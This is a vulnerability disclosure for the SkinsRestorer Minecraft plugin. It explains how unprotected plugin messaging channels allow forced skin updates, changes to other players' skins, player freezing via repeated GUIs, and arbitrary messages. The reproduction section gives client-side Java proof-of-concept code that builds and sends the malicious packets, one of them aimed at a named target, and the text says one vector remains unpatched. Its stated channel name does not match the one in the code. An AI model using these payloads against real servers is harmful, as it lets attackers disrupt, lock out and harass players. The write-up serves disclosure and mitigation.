SkinsRestorer Exploit

Details:

Discovery Date: 9 April, 2020

Patch date: 15 July, 2020

Vulnerability Scope

This vulnerability affects all servers running Skinsrestorer <13.8.1 on Spigot with Bungeecord mode on and/or Skinsrestorer <13.8.1 under Bungeecord, and partly affects the latest version (13.8.1, at the time i'm writing this) if it's used on Spigot with Bungeecord mode on.

Description

SkinsRestorer uses the plugin messaging channel to handle operations, like changing a player's skin and forcing it to update. Since the channels used for performing said operations are not protected, an attacker can send data through them and trigger certain behaviors in the plugin. Such behaviors include:

  • forcefully updating your skin, causing players to get kicked off the server and making your model look glitchy and jittery to others.
  • changing others' skins, to any skin you want as soon as a premium player has it set.
  • forcefully displaying GUI's to others, basically freezing them in place and blocking their game.
  • forcefully displaying any chat message to others.

Reproduction

The plugin uses two channels and both are still exploitable as of now. The first one is the sr:skinupdate channel. Here's how the packets are handled.

        DataInputStream in = new DataInputStream(new ByteArrayInputStream(message));

        try {
            String subchannel = in.readUTF();

            if (subchannel.equalsIgnoreCase("SkinUpdate")) {
                try {
                    factory.applySkin(player, this.skinStorage.createProperty(in.readUTF(), in.readUTF(), in.readUTF()));
                } catch (IOException ignored) {
                }
                factory.updateSkin(player);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

The only field that matters to us is the "SkinUpdate" one, and we can basically leave the other three blank because the skin update will happen regardless of what we send. The code for forcing the update looks something like this:

		final ByteArrayOutputStream b = new ByteArrayOutputStream();
		final DataOutputStream out = new DataOutputStream(b);
		out.writeUTF("SkinUpdate");
		out.writeUTF("");
		out.writeUTF("");
		out.writeUTF("");
		PacketBuffer buf = (new PacketBuffer(Unpooled.buffer()));
		buf.writeBytes(b.toByteArray());
		mc.thePlayer.sendQueue.addToSendQueue(new C17PacketCustomPayload("sr:skinchange", buf));

Instead, the sr:messagechannel is not exploitable anymore. With that channel you could display GUI's to other players, here's the code that listens for that:

		if (subchannel.equalsIgnoreCase("returnSkins")) {

			Player p = Bukkit.getPlayer(in.readUTF());
			int page = in.readInt();

			short len = in.readShort();
			byte[] msgbytes = new byte[len];
			in.readFully(msgbytes);

			Map<String, Property> skinList = convertToObject(msgbytes);

			// convert
			Map<String, Object> newSkinList = new TreeMap<>();

			skinList.forEach((name, property) -> {
				newSkinList.put(name, this.getSkinStorage().createProperty(property.getName(), property.getValue(),
						property.getSignature()));
			});

			SkinsGUI skinsGUI = new SkinsGUI(this);
			Inventory inventory = skinsGUI.getGUI(p, page, newSkinList);

			Bukkit.getScheduler().scheduleSyncDelayedTask(SkinsRestorer.getInstance(), () -> {
				p.openInventory(inventory);
			});
		}

As you might notice, the only fields that really matters are the first two, as the first one has to be "returnSkins" and the second one lets you choose the target for the exploit. The other fields are not important. The code to exploit this vulnerability looks something like this.

		final ByteArrayOutputStream b = new ByteArrayOutputStream();
		final DataOutputStream out = new DataOutputStream(b);
		out.writeUTF("returnSkins");
		out.writeUTF("Target Name Here");
		out.writeInt(1337);
		out.writeShort(2);
		out.write(new byte[] { 0, 1 });
		PacketBuffer buf = (new PacketBuffer(Unpooled.buffer()));
		buf.writeBytes(b.toByteArray());
		mc.thePlayer.sendQueue.addToSendQueue(new C17PacketCustomPayload("sr:messagechannel", buf));

If you kept on sending this packet targeting a specific player, they wouldn't be able to move or leave the server and they would have to kill the Minecraft process to be able to play again (or wait for you to stop).

Both these exploits can be done only against the spigot version if it's used with bungeecord mode on. The following one worked on any server that uses SkinsRestorer from bungeecord.

This (now patched) exploit allowed an attacker to change players' skins without their consent. The plugin aleady provides the code to do so, and all the attacker had to do was converting it to be able to send it as a packet. Also, if the skin they tried try to set was invalid, it would have printed a message to the target player, which will contain the skin the attacker sent, basically allowing them to send any message to any player.

public void requestSkinSetFromBungeeCord(Player p, String skin) {
        try {
            ByteArrayOutputStream bytes = new ByteArrayOutputStream();
            DataOutputStream out = new DataOutputStream(bytes);

            out.writeUTF("setSkin");
            out.writeUTF(p.getName());
            out.writeUTF(skin);

            p.sendPluginMessage(this, "sr:messagechannel", bytes.toByteArray());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

Mitigation

As of now, the exploit is basically fixed, because almost no one runs the spigot plugin on bungeecord mode. Those who do are at risk though, so it's advisable for them to turn that option off to be safe until the developers fix it, because even though you can't change skins or freeze people anymore you can still force your own skin to update.

Showcase